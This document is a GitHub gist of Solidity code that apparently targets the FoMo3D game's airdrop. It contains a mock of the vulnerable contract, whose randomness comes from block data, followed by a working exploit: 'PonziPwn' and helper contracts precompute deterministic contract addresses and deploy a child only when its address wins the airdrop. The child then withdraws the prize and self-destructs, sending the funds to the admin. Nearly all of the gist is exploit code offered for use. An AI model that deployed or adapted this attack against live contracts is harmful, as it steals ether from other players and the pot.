Skip to content

Instantly share code, notes, and snippets.

@jin10086
Created August 9, 2018 17:05
Show Gist options
  • Save jin10086/c69b024bbf8bc03a78674d42c9ae86d6 to your computer and use it in GitHub Desktop.
Save jin10086/c69b024bbf8bc03a78674d42c9ae86d6 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.24+commit.e67f0147.js&optimize=true&gist=
contract Fomo3d{
uint256 public airDropTracker_ = 1000 ;
uint256 public airDropPot_ = 10 ether;
mapping (address=>uint) public my;
event SendEth(uint256 value);
function ()payable public{
require(msg.value >= 0.1 ether,"value must gt 0.1ether");
uint _seed;
_seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +
(block.number)
)));
if((_seed - ((_seed / 1000) * 1000)) < airDropTracker_){
my[msg.sender] += 0.2 ether;
airDropPot_ -= 0.2 ether;
}
emit SendEth(msg.value);
}
constructor() public payable{
}
function withdraw () public {
msg.sender.send(0.2 ether);
}
function balance() view returns (uint256){
return address(this).balance;
}
}
pragma solidity ^0.4.24;
interface FoMo3DlongInterface {
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}
interface SUNContractInterface {
function withdraw() external;
function balance() external returns(uint256);
function newContract(uint256,address) external returns(bool);
function airdrop1() external;
}
/*
* Contract addresses are deterministic.
* We find out how many deployments it'll take to get a winning contract address
* then deploy blank contracts until we get to the second last number of deployments to generate a successful address.
*/
//contract which will win the airdrop
contract AirDropWinner {
event ContractAddress(address ad);
constructor(address _fomo3d) public{
emit ContractAddress(address(this));
FoMo3DlongInterface fomo3d = FoMo3DlongInterface(_fomo3d);
address(fomo3d).call.value(0.1 ether)();
fomo3d.withdraw();
selfdestruct(msg.sender);
}
}
contract sunContract{
address private admin;
uint256 public balance;
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
event SendMyeth(uint256 e);
event ContractAddress(address ad);
constructor() public{
admin = msg.sender;
}
function newContract (uint256 _nonce,address fomo3dAdd) onlyAdmin public returns(bool) {
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), byte(_nonce))));
address(_newSender).transfer(0.1 ether);
emit ContractAddress(_newSender);
new AirDropWinner(fomo3dAdd);
return true;
}
function () payable{
emit SendMyeth(msg.value);
}
function airdrop1() public onlyAdmin {
balance = address(this).balance;
address(admin).transfer(balance);
}
}
contract PonziPwn {
address private admin;
mapping(address => uint) public contracts;
mapping(uint256 => address) public nums_contracts;
uint256 public nonce = 1;
event ContractAddress(address ad);
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
constructor() public payable{
admin = msg.sender;
new1(10);
}
function ()payable {}
function new1(uint256 len) public onlyAdmin {
uint256 end = len+nonce;
while (nonce < end){
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), byte(nonce))));
new sunContract();
contracts[_newSender] = 1;
nums_contracts[nonce] = _newSender;
nonce += 1;
}
}
function run(address fomo3dAdd) public payable returns(bool){
//The address that a contract deployed by this contract will have
FoMo3DlongInterface fomo3d = FoMo3DlongInterface(fomo3dAdd);
require(fomo3d.airDropPot_() > 0.4 ether);
uint256 _tracker = fomo3d.airDropTracker_();
for (uint256 i = 1;i<nonce;i++) {
uint256 _seed;
address c = nums_contracts[i];
uint256 c_nonce = contracts[c];
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, c, byte(c_nonce+1))));
_seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(_newSender)))) / (now)) +
(block.number)
)));
if((_seed - ((_seed / 1000) * 1000)) < _tracker) {
emit ContractAddress(_newSender);
SUNContractInterface sun = SUNContractInterface(c);
address(c).transfer(0.1 ether);
sun.newContract(c_nonce+1,fomo3dAdd);
sun.airdrop1();
// contracr nonce +1
contracts[c] += 1;
return true;
}
}
return false;
}
//allows withdrawal of funds after selfdestructing of a child contract which return funds to this contract
function withdraw() public onlyAdmin() {
admin.transfer(address(this).balance);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment